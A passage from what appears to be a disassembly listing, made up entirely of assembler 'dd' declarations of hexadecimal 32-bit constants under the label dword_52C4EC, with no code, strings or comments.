		dd 58555A25h, 266002BFh, 7C0115C9h, 206CF15Dh, 0BE5F480Ch
		dd 4CB4881Ah, 84934E59h
dword_52C4EC	dd 0FBB412EEh, 0E05E008Ah, 9A40A26Ch, 3F16B55Dh, 31D2CE4Ah
		dd 94587DEAh, 48A35D5Ah, 68C90B18h, 66BD6408h, 0E42C20AAh
		dd 1B68AD16h, 4AD981E4h, 15EAB315h, 4EFC7B45h, 0D72F8AAFh
		dd 0F9EEAE34h, 606524B7h, 0BA6DA727h, 0BC0B60FAh, 279CFF18h
		dd 68EC8A9Fh, 0F1F1303h, 43F1B825h, 25BDB894h, 94F058C3h
		dd 6804FC9Bh, 1EB22C1Dh, 0EF64AF5Ah, 25E977E0h,	34762891h
		dd 52B8614Eh, 0E17B122Ah, 86129CD7h, 0E13D460Fh, 250DE6E7h
		dd 1CFC6F71h, 0FD2913A9h, 0F255E031h, 0A401C280h, 0FBEA268Ah
		dd 18201931h, 5C842ADEh, 2E68B1EFh, 173097B5h, 0CCB84A5Dh
		dd 67E8F592h, 0CA9A83B8h, 0CD0354F0h, 16E99279h, 592C2949h
		dd 0F83009B5h, 761E167Dh, 2CD760E9h, 0EC59A2B9h, 38D10E4Ch
		dd 38EB4F2Eh, 0C8B7218Ch, 0B95456C3h, 0F33CC267h, 0FEB5FFE4h
		dd 5E590926h, 0E9B4B8F7h, 2BE26140h, 0CD3994F2h, 0EC07F3Dh
		dd 25842908h, 0D58831DEh, 3E785034h, 12F56880h,	41D5631h
		dd 1D3BEC9Dh, 8FE4C089h, 0B2FC3799h, 0B6520107h, 8E6C2B0h
		dd 91BF4157h, 59D9EED5h, 762E16B7h, 0D70C0650h,	0A10A0CE9h
		dd 0EFFC09C7h, 0CE85FD7Fh, 41B0470Fh, 80908353h, 0EDF72707h
		dd 89D25243h, 49C451FBh, 7EFA71E0h, 0CFAEC182h,	0ABE4132Fh
		dd 38253D2Bh, 8CA0DAAh,	0BE0732A8h, 446751A6h, 0C64716AEh
		dd 6B75B0B1h, 3263AF54h, 7F560DA1h, 1C596AF9h, 9DF3BAA0h
		dd 0EC5EF4ACh, 548F6880h, 641DC279h, 87950A38h,	71C43F44h
		dd 0C1C2EC07h, 351917E2h, 98406C68h, 52A95A2Ah,	16A80B00h
		dd 0A48EBF89h, 3C220DB7h, 3A7CFD67h, 0E982F7F2h, 0CB92D0F2h
		dd 4FC6CB7Fh, 3ED2F90Ch, 21E90929h, 2DDA68A3h, 0CCD39778h
		dd 0C956E986h, 13120F6Bh, 5B4927F5h, 18BD55D0h,	0B3736838h
		dd 2C762DA4h, 5C350425h, 0D2D9F3AEh, 75A1ED2h, 0C58090B5h
		dd 0ED3EC09Fh, 0EBCDBC08h, 0DC425D1Ah, 314FE457h, 2C1AAB77h
		dd 2EE5DD1Dh, 7D2D2A0Bh, 61D15163h, 9148B9Bh, 0ECC216C5h
		dd 1D6C09E5h, 8B80429Eh, 6BF3B52h, 0B9025F9Dh, 88E83634h
		dd 68075651h, 4DC2527Ch, 0A47FDE8Bh, 43C60155h,	0D87E5B1Fh
		dd 0CC16C4F6h, 0E00F3098h, 4870B01Ah, 0BC4B9ECBh, 80EC0779h
		dd 630E5EC3h, 4CD981E9h, 0B904A924h, 0BFDE3EB2h, 5EC25A09h
		dd 0E768500Fh, 0ACBC705Fh, 9C7E71C0h, 0C12C5B40h, 0CB0194EBh
		dd 0C35213Fh, 0BC0AE0DAh, 717C7417h, 1C7F9736h,	0F0682D33h
		dd 0FC0989DBh, 2A59225h, 5E34ABC3h, 13A2A68Ah, 646B84F0h
		dd 71B7FBECh, 6DD668C2h, 45CF74D4h, 8BBB1753h, 0D0E9098Ch
		dd 0C309A439h, 0AA6E95FEh, 48766405h, 0F04BEDF2h, 0EC2DD612h
		dd 4C90D7FEh, 539F7801h, 497BADE1h, 689CD52Fh, 5DF07824h
		dd 2CEE5092h, 77403137h, 0F0202B9h, 0C1013CA8h,	956D1B40h
		dd 943FBB81h, 2A06FAD3h, 0F3301A0h, 13F6752Ah, 0A342B449h
		dd 0F873A905h, 53580768h, 0DC25EB88h, 0A44806EEh, 96EC8DCCh
		dd 0D60CAFFFh, 7CE762AFh, 9FB19477h, 0BA7B4AF6h, 0F45E04B6h
		dd 2D41E052h, 5456EB60h, 98D98E15h, 82455ABEh, 607521A1h
		dd 17BAE3F6h, 871FB631h, 0E363FA5h, 1400F3B6h, 0D9894080h
		dd 0CA9AE93Ch, 9C0CB128h, 0B8ED0997h, 5AB494FFh, 5E5A88B2h
		dd 7B5AE5EEh, 0A7FEF684h, 0FB34E74h, 852FE909h,	0F2620974h
		dd 0A9B0774Fh, 990BBE56h, 0D818FF11h, 107D3DFh,	8E673BB8h
		dd 6B66A403h, 83150E0Bh, 0D214ED4Eh, 0F1256148h, 9A77CEA5h
		dd 3E4D77FDh, 0CEBF5E2Fh, 363EEBEDh, 5AD112EDh,	0FBD397ECh
		dd 8DEFA413h, 3F9249F9h, 2DBF6744h, 2F93CD40h, 6E906FC1h
		dd 4E2EFA02h, 0F4F4E90Bh, 0ABD62FD0h, 49F36850h, 69846275h
		dd 9BBD01F0h, 5A700B39h, 8389B7DCh, 0D1BCDFC8h,	0B8D6F780h
		dd 251C4AF3h, 1B2BF66h,	4B12594Ch, 0A7E0FCC0h, 0A2FD44C5h
		dd 9676BB4Eh, 0BC68134Bh, 0F1406106h, 2E31034h,	0B59DF252h
		dd 94DFE50Bh, 0B6681405h, 9851F50h, 5931BB1Fh, 5C575C7Ch
		dd 9147C735h, 7F922D93h, 0EC165729h, 0C153F497h, 6E710E68h
		dd 7330B0D9h, 5DB64FD2h, 14BFC9Ah, 95E5870h, 803C63C2h
		dd 26D37AF2h, 22789D46h, 36853CA0h, 0D5AEF662h,	0E96675A7h
		dd 0D7F1F728h, 0DFE41AAh, 41924E07h, 5EFC8FB2h,	188989BCh
		dd 0B2F5DFC0h, 49087818h, 4BE390Ch, 0CBE9BB3Eh,	9E55ECA8h
		dd 73E55009h, 97123D79h, 8988FB20h, 7E2B7E7h, 7200DC77h
		dd 60C55C7Dh, 57726853h, 1788C6BDh, 0FD31C9E9h,	0B2954F74h
		dd 82C8F1BEh, 0A13A3D0Ch, 74F8F505h, 0FC020882h, 0BF00261Eh
		dd 3BC46B2Eh, 723EB871h, 0DEC075AFh, 71BFA7E8h,	5BD8420Bh
		dd 80EE5BFDh, 47356857h, 5F01774Fh, 1086CF81h, 3E833155h
		dd 19185B48h, 82929403h, 9829B7DFh, 928B03E9h, 8E5B4FACh
		dd 79B7CEEh, 9EC9D549h,	312EC723h, 7E252BF2h, 0F480492Ch
		dd 0F67B89C2h, 0CA0929FEh, 5FD5ACE9h, 5D97251Ch, 9EF4F05h
		dd 0DB755FCBh, 205C8983h, 0CA4AD6E9h, 9E97A09h,	12AF3B2Fh
		dd 0F76030F9h, 0D26A4A5Ah, 41D404F6h, 0C98101A3h, 38C558E8h
		dd 17935B30h, 16AEF15h,	461A2E80h, 86E6D81Fh, 437CECEAh
		dd 38F8CE05h, 8CC04413h, 0BB94965h, 0BCC6E91Eh,	0F97579A9h
		dd 0AA5713B2h, 2392D2E6h, 0F8D4B425h, 2AEA7ACh,	80649F20h
		dd 1A3A8BE2h, 9843714Ah, 0E30995DCh, 0C69635C5h, 56884BFBh
		dd 1B4ADD02h, 20A383C4h, 9FF36B02h, 0D520ED74h,	0C021064h
		dd 0E91C7165h, 174AF02Ch, 8C01D568h, 514102EFh,	8E20A521h
		dd 6A5E8134h, 0F15B51E0h, 958C3DECh, 808901D6h,	8924D426h
		dd 6A1090BBh, 6C01127Ch, 2903054Fh, 9EAC5BEDh, 0E2842782h
		dd 1D42B056h, 424AEEFEh, 712F6C4h, 93C65013h, 0AA484E58h
		dd 0E07C5F4Bh, 14BABE85h, 0E14FBC42h, 0A02D7B07h, 0B3EE6018h
		dd 0CC4ADA9Fh, 4E7EDAB0h, 1E988C2Eh, 7658E86Ah,	9A0408CFh
		dd 1C7F1F0Fh, 0E9144074h, 2472B035h, 95ED31F0h,	29120ED5h
		dd 73B5765Fh, 0AAE94284h, 9D5F6E59h, 0CA4079C2h, 679D90DCh
		dd 0ECD11792h, 0DE8402B6h, 0FC3103BEh, 13B5AC7Fh, 76D6CC11h
		dd 885983BDh, 580DFAFAh, 0E7803C38h, 2BF70973h,	9C5CF908h
		dd 826E4A58h, 82FDA282h, 2E4C000h, 4EC43980h, 93AEEA4h
		dd 0C728AA0h, 336D3B13h, 5ECF3F01h, 0E9C86E6Ch,	13759416h
		dd 0B9B2EB05h, 5AAEEC97h, 403A878Ch, 78BF5393h,	1B880F22h
		dd 0BAA4221Fh, 249F8AE1h, 2E080551h, 14661EC2h,	0B877BB80h
		dd 409D40FDh, 535D0D07h, 7DB23191h, 0DC7772Fh, 972A7827h
		dd 332E3CFFh, 0EB87B73Eh, 733177A0h, 0CAB4E1F6h, 1DD8BE0Eh
		dd 804E4CC9h, 636EE71Ch, 87E91002h, 57512758h, 0E94185C5h
		dd 243EABFAh, 0F167B57Dh, 0A0EB04E4h, 525AE6C0h, 31C18BFCh
		dd 0D021149Dh, 40EF59CFh, 23235AFh, 2710F33Eh, 303E74C2h
		dd 56CBF2C0h, 8D253B2Eh, 0E6D72C18h, 0CC291AF5h, 4A568439h
		dd 26FB5092h, 0DC73A1D8h, 64685381h, 21BBCA3Dh,	0D5935C0h
		dd 0D5292D0Bh, 0E918521Ch, 5C0A0ECEh, 85C1DE66h, 0BAFEE654h
		dd 946ABF2Dh, 0A2DABFFDh, 6A9CB902h, 0C85F0D5Ah, 13111555h
		dd 0EE51300Fh, 40BA9AD6h, 1827883Ch, 894F158h, 3B289E2Fh
		dd 0AF63BB0Fh, 93786D4Fh, 0F1623E8h, 0D53106ABh, 0AE071F85h
		dd 8B764A39h, 42E9F704h, 0A5B3D17Ah, 0B416382Ch, 565989C2h
		dd 25F4DAC5h, 0D262976Ah, 28830A27h, 0AD0CD72Ah, 4B7EDF22h
		dd 895DF707h, 4C62057Fh
		dd 5B0F1B05h, 0C99F5EECh, 0C856185Ah, 0BCAA5644h, 4537B2E3h
		dd 2C1831C5h, 0EBF0C1DCh, 236866A0h, 0AF4B487Bh, 0BBB9EBC0h
		dd 499A2F59h, 0AD2C405Ch, 2703A708h, 0FB213BDEh, 6EB6860h
		dd 0E9081D28h, 6FDDA437h, 0FFB9A504h, 0D87CE089h, 0B33A15Ah
		dd 0D0885CAh, 4A7E4FCFh, 25AE80E5h, 20143D2h, 7E8C139h
		dd 0DCE8D0F7h, 3E520E22h, 50AE5835h, 508CBAB2h,	13A302B9h
		dd 0C131651Eh, 5DAF7D45h, 253A58AAh, 0FF6871F4h, 392E6804h
		dd 0F81307B3h, 0E870FE11h, 165FBA52h, 0C039060Eh, 9F925DA6h
		dd 3105FB00h, 1523F21h,	0AE910D0h, 80AF4F07h, 0FEE4A375h
		dd 0E5C5CC97h, 10F7B23Fh, 0F72CEE16h, 28BB08D2h, 4262011Ah
		dd 3E515D1Dh, 57545E62h, 27DE3A9h, 7B644C5h, 1885F245h
		dd 5D91BADDh, 3C897051h, 619675DAh, 17403198h, 2CF44F28h
		dd 0E55A88FEh, 974284A0h, 0E6FF2E94h, 4B24FE56h, 0E6F97F12h
		dd 4C1E4784h, 4A60102Ch, 4773BA45h, 0C42E95Dh, 81A7343Eh
		dd 0F0F9BAE3h, 0E92F6785h, 0BFE0618Eh, 0CA56506Fh, 0A842DA04h
		dd 89F8EE1Ah, 4BE90840h, 2F74B182h, 54C171ADh, 6FDB685Bh
		dd 6F0B5F91h, 1E37F32Fh, 271710DDh, 0C0838D09h,	78B2526Fh
		dd 0A7122AECh, 1D507AC3h, 4EA0B353h, 0C642D888h, 18DC97E9h
		dd 899AF727h, 763ECB01h, 0FFB26A34h, 0B86E0841h, 0DEB9F479h
		dd 90D0C327h, 14947595h, 5CE9D617h, 0B9976557h,	797F1809h
		dd 0FF8E8230h, 9FF1D7E6h, 4E26AE80h, 57740A27h,	0F904A62Bh
		dd 0B151035Eh, 0AEF9C7F4h, 84E80B2Dh, 61FCE54h,	74FEE331h
		dd 0A4225F9Dh, 2361E5C1h, 1C136F8Ah, 5B70CEEFh,	98E98C42h
		dd 0F79B6A62h, 2B8B1289h, 0D0F1127Fh, 9E393AA9h, 7A165E3Eh
		dd 0D42B4BBDh, 71064BE1h, 5A3468BAh, 4C568462h,	1D59774h
		dd 0FCE9F1FEh, 0FC5E2168h, 0C42AB929h, 0ABB6EB7Fh, 0BB85AFD6h
		dd 0BDBEB594h, 9DAAD6DCh, 0B2D3B04h, 0FBF19A92h, 8BEC7DD9h
		dd 4F39BE75h, 0AB670E04h, 0B5AB744h, 0D2F7051Dh, 497BC87h
		dd 0F06F093Ah, 2733BDB0h, 87F5EF8h, 0E90908CDh,	0B3BC7047h
		dd 7D044BC7h, 153093Ah,	7FA30E97h, 0E8C3BC87h, 0A707EB60h
		dd 6C98E052h, 0E9690EC7h, 1618F43Bh, 5BBEF0ACh,	928F569Dh
		dd 0BE31C252h, 21582BCAh, 0DDB4562Dh, 88042CBAh, 0A9BB00FEh
		dd 9C45CE0Eh, 23526DAh,	494C1BC9h, 5D5187F8h, 0C0AC3AB2h
		dd 4C362D1Fh, 530768Bh,	0F45B07A1h, 4B381ED1h, 1190FD29h
		dd 6E287F16h, 0E276DCB0h, 0CA094CE8h, 0F068D527h, 1116ACC5h
		dd 0A70BB693h, 25E4D490h, 27B44FDDh, 85979EFAh,	16695E29h
		dd 4B0902F2h, 702FF9C5h, 0EB262CF8h, 0D296D0A4h, 7E624896h
		dd 0F0F84916h, 80F2D5FCh, 20E5E388h, 84E8BAEh, 345A7CE7h
		dd 869CBB04h, 892E5E0Ah, 0CEE87F56h, 0C9EC9416h, 14C86BF9h
		dd 0EAC6BF6Bh, 2A583A98h, 0B1BAA4ACh, 53C27E07h, 6424696Dh
		dd 57A043Fh, 580AE2E1h,	0F64B25ACh, 659362D2h, 2FC6B475h
		dd 279B2695h, 2E2E1CC9h, 0E0A4E3F8h, 3709448Eh,	0F4FA0122h
		dd 3AE9C331h, 55C728E5h, 0B97C1F8h, 285DC5ABh, 0B05C95BDh
		dd 0E407232Dh, 0BB511056h, 5B592755h, 0FBC6171Ah, 4BFA6C4h
		dd 1E074D7Fh, 48B55182h, 121FD628h, 8EBBC759h, 8A107098h
		dd 0FE2443F9h, 0E0CC279Fh, 0DEE9A5F4h, 5F1DE89Ch, 9B749BDh
		dd 58C109h, 0EC4E4994h,	9F89DE6h, 0EBA80537h, 7277816Fh
		dd 0FF38315h, 82A5C112h, 0CB89EE82h, 27EBB160h,	34C02D19h
		dd 58DC70BCh, 9A0CC146h, 0A44E3B39h, 82035C8h, 4F140CD0h
		dd 6093E7A6h, 28086816h, 127E9895h, 40830E11h, 0F34CDE31h
		dd 0DB0AF708h, 1556E068h, 8DE95384h, 0AD2E2DA1h, 0F2BFF4F9h
		dd 0DFBB936Ah, 0C0E90931h, 52739106h, 0D615A37Eh, 111391EEh
		dd 37243A2Bh, 5D82BDC0h, 206BB8A3h, 65BF536Eh, 411709AFh
		dd 9C0BED1Ah, 0A7C0C25Fh, 4B1B3315h, 671BA000h,	88C19038h
		dd 70EB80E7h, 0C163BD18h, 705166A9h, 0D8043F5h,	854D00D6h
		dd 0D9BD5531h, 30000C47h, 0F25CD81h, 0D11FFAh, 2BBF57EDh
		dd 0E9203779h, 0F691E527h, 0B12F78F8h, 0EA0BF699h, 54C0D759h
		dd 6E0FB050h, 0B658C228h, 9DD3C3B0h, 0E3B66F03h, 0A481EA84h
		dd 0EF2AF828h, 974C012Bh, 0D1D76689h, 0E9AD608Fh, 99B2ED18h
		dd 46CBE05h, 17FF1C34h,	0E650EB75h, 2756580Bh, 0A8F72932h
		dd 255440DAh, 22E0BFE9h, 3C120605h, 10FF58B0h, 5A2507B4h
		dd 934865DDh, 0F6F5C5E8h, 0F97E82BEh, 0D814F7FEh, 976A1D20h
		dd 9B421E5Ch, 0DEFA3460h, 0CDBF48C7h, 10CDC0Bh,	5A3305C7h
		dd 92A03BBAh, 24EB6BA4h, 0AC5B7818h, 0C11493B5h, 5E3E79CFh
		dd 2A63810Ch, 0E3EE2948h, 0E9080295h, 11D54093h, 0F23AE83Ch
		dd 8AAB4AB2h, 9A1D1ABCh, 3E407DCBh, 0E2018045h,	99B1516Ch
		dd 31F3CA30h, 0CFE4100Ch, 36A00472h, 0D4F63ACCh, 910E84Ah
		dd 5C7583E9h, 0EF6072DFh, 3F020E50h, 35E94142h,	9CF35146h
		dd 5A030352h, 0A713D031h, 0CAAD06E9h, 2170414Eh, 82257A2Eh
		dd 5467E30Ch, 0B2084070h, 0B96E480Ah, 98A2992Ah, 0A1FB0F00h
		dd 0D97C49D8h, 392D16E2h, 2C2C7A16h, 4EC2D689h,	0DBBBD56Dh
		dd 319BB609h, 0C9B18037h, 4C7466CBh, 9A07CF41h,	0C0266C71h
		dd 73DB6F1h, 0DEA90E4Fh, 2C095150h, 13FBF3C4h, 0F4B3D301h
		dd 813620F8h, 0E92F507h, 0E5655162h, 2101D481h,	13227070h
		dd 0EC0A7478h, 7D50250Ch, 0E92763CEh, 0D85322ADh, 60EAD72Dh
		dd 0D8653CF1h, 68C065F8h, 57026279h, 0F52D5E25h, 0F0297883h
		dd 76E92709h, 0E559A369h, 0AC12C11Ah, 0CAB7992Bh, 5561F402h
		dd 2BFD99A9h, 860275C0h, 520AB211h, 0C95FB60Eh,	90C43FEh
		dd 8919E9C0h, 4EBD8DEh,	5909E64Eh, 0E99A53DFh, 0B328C84Ch
		dd 683AEEDCh, 509097BCh, 1F32D1AEh, 47DEFAE4h, 2FF68041h
		dd 813BF0C1h, 6907D125h, 0E9501CF1h, 0E6BD9016h, 0BD2EDED4h
		dd 0AE93CF7Bh, 0E6803637h, 6C226223h, 78977C58h, 408DEC4Bh
		dd 96061130h, 1F9C481Dh, 64230F4Ah, 0EAF7BEC7h,	49591E17h
		dd 10E8C7C2h, 33BBCD8h,	1D1865B5h, 0A0DF28AFh, 14F6EE6h
		dd 0A956A180h, 0CDD8BD61h, 837F4B09h, 122F8634h, 26E277C7h
		dd 8B870F1Ah, 5587E7B4h, 990B32Ch, 0CED50987h, 7DFC8241h
		dd 4C9777Bh, 7AADF0C4h,	205D9405h, 9885BB5Ch, 64D4ED80h
		dd 1A050248h, 31EBF2A8h, 0D9E82DFh, 0BD6509E3h,	0E9795C18h
		dd 0D1214BAEh, 26BABAAh, 2868FF5Eh, 6D4A31A5h, 2DDE54C0h
		dd 5A753549h, 91AA1Ah, 122EF3E9h, 0D3F33848h, 759A8997h
		dd 0FF109F9Ah, 51BF0272h, 4B5E1E37h, 39525A74h,	0DC72F913h
		dd 0DD3E813h, 0F30A631h, 226BBBBEh, 32370F93h, 0D0802CD0h
		dd 0AED1280Eh, 78CAB7C1h, 0C8885009h, 0DEF6A698h, 5613DDB0h
		dd 660CC628h, 0FEF7F14h, 0FA8DD091h, 2DE0A269h,	0FE622FB0h
		dd 0FF27D940h, 0BF98D7E4h, 752A5D0Fh, 0E4A1C528h, 0B30720FBh
		dd 0E616B068h, 0F916D830h, 0CE9502BBh, 624AB4E9h, 6D3AC875h
		dd 94A05122h, 0D7BFB22Eh, 3F7B9DBBh, 0E98265BDh, 11C586F6h
		dd 18BA682Fh, 0B00EAC7Dh, 43600AD0h, 21E84EF1h,	5A680BEFh
		dd 286C6C54h, 0BB6E007Ah, 0DA2DBE74h, 0E8B5D756h, 1258EE16h
		dd 17DFD6Ah, 2003508Ah,	86B73013h, 49D77817h, 6A503A1h
		dd 0F2CFA360h, 75B0672Fh, 0C1A83020h, 41B774ABh, 8D52BE73h
		dd 1EA14066h, 2DE57B88h, 91E4ADA3h, 2A20B0B0h, 482167BBh
		dd 0FA0534C1h, 477EF060h
		dd 0DE7C606Dh, 6911700Ch, 7DAECEC1h, 5F3A23C0h,	5887FBE4h
		dd 91F73CE1h, 251A22E9h, 10022029h, 0EF204596h,	0C3FA3C24h
		dd 8AD016BBh, 0B0EA7335h, 0A280DEFCh, 41538176h, 0C511A38Bh
		dd 581441Fh, 0BFEDD186h, 41A793A0h, 64A32E84h, 82DDBD97h
		dd 54F8E9DDh, 4C77251Ah, 3F557E95h, 9F620E23h, 705E76F9h
		dd 79059562h, 1062646h,	523271F7h, 71133A6Eh, 2759DC7h
		dd 0D8965CB9h, 0F09DF5DCh, 634B8A52h, 7D3DC24Dh, 5C606851h
		dd 0BF03E768h, 68C2EA65h, 270DFCCCh, 27E594FFh,	0AC41ECE9h
		dd 6FFCD9ADh, 7D529892h, 7B8B277Bh, 4578D92Dh, 0F17CD45Dh
		dd 0FA64094Fh, 0A7E8BC42h, 88003F4Ch, 0B9F68164h, 951DC769h
		dd 0C6FB00DFh, 5C707BBFh, 804A8ACCh, 7709BE17h,	77D0848h
		dd 20644CEEh, 0B1E95373h, 7C62FEEFh, 1350D784h,	542E8EFAh
		dd 0D84AF3E9h, 6BF41BA4h, 0D25EE126h, 3DEB0297h, 10C3725Dh
		dd 831815D5h, 0DC3010C6h, 0D0528282h, 0ABE5F5CAh, 89ABD43Fh
		dd 8AFEF74Ah, 54B981CEh, 0E02EB720h, 7F110E33h,	57194890h
		dd 0E6ED63D2h, 620AF28h, 7A82F0B5h, 0D8F780BCh,	3531E097h
		dd 0C2AD4F9Ch, 0A3DDA7D6h, 9861CAE9h, 52898C2h,	0CCFE5AD4h
		dd 9AED2C0h, 660E4DF8h,	87FB64BEh, 5E77F101h, 0BF862D93h
		dd 0E3C829D3h, 440E4E05h, 0F1E84BBh, 0AD6DD31h,	66ACB240h
		dd 4CB75351h, 0FC229EF6h, 0FAA5EF5Bh, 0B9CDEDECh, 0BDC212ABh
		dd 570C6BAEh, 6B5E6941h, 0E2A6C6B8h, 85E90A09h,	854F7CD9h
		dd 122A0CA9h, 9FA6AEFCh, 12598E50h, 0F0F53A38h,	8D40899Fh
		dd 934EF068h, 9477A5D5h, 70CF3014h, 566CEEBFh, 12AD609h
		dd 94C80FEh, 0B766DE73h, 6B3628E0h, 49E9170Bh, 3CA879D9h
		dd 81C87E37h, 0F0C18158h, 0B97CE603h, 71BE09ECh, 5A2D8952h
		dd 0A0015841h, 1187DE25h, 0F8B0D556h, 54B65FDDh, 61EACF10h
		dd 0FED7793Ch, 0F93162Dh, 0E277F86Eh, 8DBB033Bh, 0F14D8319h
		dd 0C2147EC0h, 7529D714h, 36D12D87h, 37E0C48h, 5B5C6127h
		dd 1B688514h, 20779945h, 5981BD33h, 5C3C3DD9h, 80F9B603h
		dd 0F69916CEh, 10AA04E5h, 0EE2A63EAh, 0BB8B95B5h, 0F6B48577h
		dd 0D8B2A531h, 0E11AC12Eh, 68021520h, 0F410E95Fh, 94D725A0h
		dd 2DD580E0h, 38AA3E4Eh, 5CBF506h, 0BA277225h, 6161481Dh
		dd 6A79BD02h, 0FDE1EDC4h, 0D978AE2Bh, 0D6BB30E9h, 0F5B42DB0h
		dd 9D235D28h, 0E9070861h, 0D17B41AFh, 6920B9BAh, 4B31120Eh
		dd 2A2A3CCAh, 614AA2EBh, 8A7E5649h, 40D48A4h, 5A123CA0h
		dd 4191A8FBh, 0D88B7A08h, 0F770EE5Bh, 9DFF19C7h, 9E7977Fh
		dd 0E457303Ch, 0B478B5C4h, 0D92B9427h, 8437952Ch, 53F6837h
		dd 0DE4BEE28h, 0CDCE7708h, 4A37C69Fh, 0EF66E421h, 3520891Ch
		dd 0D66F29DEh, 0EAD04972h, 0E4601BF0h, 62E1CB2Bh, 0F7B761Dh
		dd 27F510F3h, 0BCF7E964h, 16F94F18h, 239DB10h, 614329B9h
		dd 12437D2Ch, 5E3A2C1Dh, 600130CBh, 1652C360h, 0EB5CBA1Ah
		dd 60083D50h, 6706E60Ch, 0D75D525Bh, 91B7535Eh,	7D5B5ABh
		dd 11C24984h, 0FCDB63C1h, 0FD94E387h, 0D5C2C618h, 1FA5149Dh
		dd 8467EFB9h, 0F024E94Ah, 0A1256883h, 82BE7979h, 540569BCh
		dd 2883F955h, 0F1D87A9Ch, 293EE109h, 5D00196h, 2AD740C9h
		dd 6A530h, 0D73A025h, 107C2D78h, 123C0C4Ch, 74A358C7h
		dd 4C459A86h, 2C07BA4Eh, 2FB45140h, 591D0CF9h, 0EC38D368h
		dd 9156C425h, 3EE989FBh, 0F55AC0B9h, 45BB2E4Ah,	0A85DCAE4h
		dd 0E088480h, 0B70F5C00h, 0E22468C8h, 0C69BCB30h, 1661D1D5h
		dd 0DB2E1588h, 0E8525009h, 99481E1Bh, 7D9495Ah,	70478F42h
		dd 1EC720B4h, 0D9D12127h, 8556E99Eh, 82CB1858h,	3FED545Dh
		dd 0BF477FAh, 0CD01B1A6h, 0A091C677h, 350B63AEh, 101E44F6h
		dd 0F94F08E4h, 0C8E79F0Ah, 82D48C83h, 27787177h, 0F72C1857h
		dd 4A683DF1h, 88936C59h, 0BC4FA43Ah, 0CB8045D5h, 0B5310315h
		dd 39E975E8h, 21413EE1h, 2C1B13D1h, 16330320h, 0FCD3E4ECh
		dd 0D8BE4B3Ah, 1EBA7574h, 675B617Ch, 9BFC2613h,	0F314D186h
		dd 4DA9EB5Bh, 935F0C6Bh, 8DBAE559h, 71F56B65h, 82E90E40h
		dd 0EFB3C99Ah, 5E56E1FFh, 8411C26Ah, 70501077h,	54DF2F26h
		dd 16BD6CF8h, 0F73A200Bh, 621F5EBDh, 4259DDE0h,	0D4C8210Bh
		dd 3462DAFFh, 0C31AF7F2h, 26103h, 0F14C40A7h, 760BB52Ah
		dd 68052B5Ch, 0B1E85719h, 0DF7A07C0h, 34C05B20h, 4CFD30F5h
		dd 12DA6001h, 6F5F71EAh, 4CFC6E58h, 5C36135Bh, 0C50789F9h
		dd 0E9D4D0FCh, 0F24C20F7h, 26C224Ah, 685A0A8Bh,	37A84BDAh
		dd 9991CE2h, 0E370282Fh, 7C971BBAh, 665F99EFh, 69A0D0E8h
		dd 714856B5h, 7E2975EEh, 2CC43BB2h, 2CCFFEDEh, 170EFF4Ah
		dd 6C452EF7h, 393E0C50h, 0E916461Eh, 0FD4EEEF1h, 43E8E4D0h
		dd 0ED809DEAh, 0F667854h, 947B322Dh, 13EB5A8Eh,	0A86BBFFh
		dd 1EDC9D0Ch, 0D51D9C2Eh, 26E9E565h, 125BD4Eh, 944A3D66h
		dd 78A55A15h, 66AF922Ch, 57E4D9C2h, 534576F9h, 0E60F8D0Bh
		dd 1C5EC3BDh, 0A6781A7Fh, 0D30847E5h, 2C4C87DFh, 0CFCD1200h
		dd 9F34AECAh, 0A2A88123h, 10116205h, 6809F78Bh,	2CF448EAh
		dd 0EB0FD960h, 2022B82Ah, 30073D46h, 0F98858E7h, 91B0AAA5h
		dd 0B5CC3980h, 15C9EC97h, 100F37Bh, 87B850C5h, 7C582F55h
		dd 755580Fh, 90E72D04h,	10EAD495h, 0ED02B82Dh, 621B2B61h
		dd 8DC287Fh, 0D2FF1C34h, 0F5855892h, 55A2EBD5h,	3B84FA4Eh
		dd 97ECFCFAh, 8F68BE2h,	6A84BE05h, 0EC50226h, 0FB254AB8h
		dd 0E989D160h, 2D26FBB5h, 7C370DD0h, 5174E565h,	4A12ECC2h
		dd 0AFE5DD25h, 9FB85AE9h, 720AA901h, 0DBAE60BAh, 58389841h
		dd 37D92110h, 1947127h,	0E73CA8C9h, 6EA1257Eh, 0BEE712E8h
		dd 709A591Bh, 40DFC294h, 0F60DB83Eh, 29661B18h,	849C44C2h
		dd 0FA0B14CDh, 0DA30A548h, 48B12D2Eh, 56D4AE2Fh, 0DD286286h
		dd 479BBAE8h, 14AD0499h, 20859B8Fh, 0A9C54FA7h,	57E91263h
		dd 554C425Dh, 388050D1h, 0AC5AD8C4h, 0B24119F6h, 0B9104521h
		dd 31002819h, 0E7C9811Fh, 166A3049h, 0EAC5C1E9h, 2AA84261h
		dd 3FD9F701h, 26E5FF04h, 6F98A812h, 59EC6599h, 529B6FFh
		dd 0A726F6C7h, 0A5D7C0EEh, 7A5F9C72h, 806D7A5h,	5E14801Ch
		dd 0A4AF4AE9h, 8200CF5Ch, 5653FC3Fh, 64DBABEh, 0F72144F8h
		dd 9800425Eh, 5E39C13h,	4CCD1770h, 742C234Ch, 0D8744B30h
		dd 625FADBDh, 0F8EA5C1Eh, 61533268h, 0B4E912C4h, 5AD3F391h
		dd 1F47137Bh, 2E667EBh,	0D7EC585Ah, 0E8D09387h,	68D4E600h
		dd 3CC17249h, 1CF303EEh, 31AE4483h, 0C045C78Ah,	0F50B8948h
		dd 7F8BDDE9h, 2ABF8045h, 594AE14Dh, 0E0D1DF17h,	0B001FC02h
		dd 7516DCC2h, 0B776C6BFh, 0C701E968h, 3FF9BDFEh, 3EB22277h
		dd 0F797714h, 276812ECh, 7A135F1Bh, 43C5FE4Ah, 0D24EB2BBh
		dd 0BB53DD60h, 0FC5B003Fh, 0A4C3B971h, 44B48E03h, 0F2DB4927h
		dd 16E3EDACh, 4909B2DEh, 0E2EE2F01h, 0F075D091h, 2FA9BEE6h
		dd 7352BE77h, 2C736AE9h, 0DA5A0892h, 28CFF825h,	82DB6CA1h
		dd 0D096D5BDh, 0D32EB8C2h, 2EBD889h, 102D7F7Dh,	9362DD01h
		dd 41C6080Dh, 7F92CEF3h, 81831098h, 1FE96051h, 0A7C7216h
		dd 7BEEA501h, 813139DCh, 8149B828h, 0E7CA3D78h,	222C8A5Ah
		dd 0CF673014h, 4F57BF30h, 16A0C53Dh, 0B540E10Eh, 3B321091h
		dd 5C82829h, 68590A07h,	92F67A1Dh, 5D66B09Eh, 0D9C0F7BEh
		dd 0D7556530h, 0E0C61222h
		dd 4C17B5ECh, 57B10DB4h, 0F1EA8A04h, 907F6516h,	0BD0214B4h
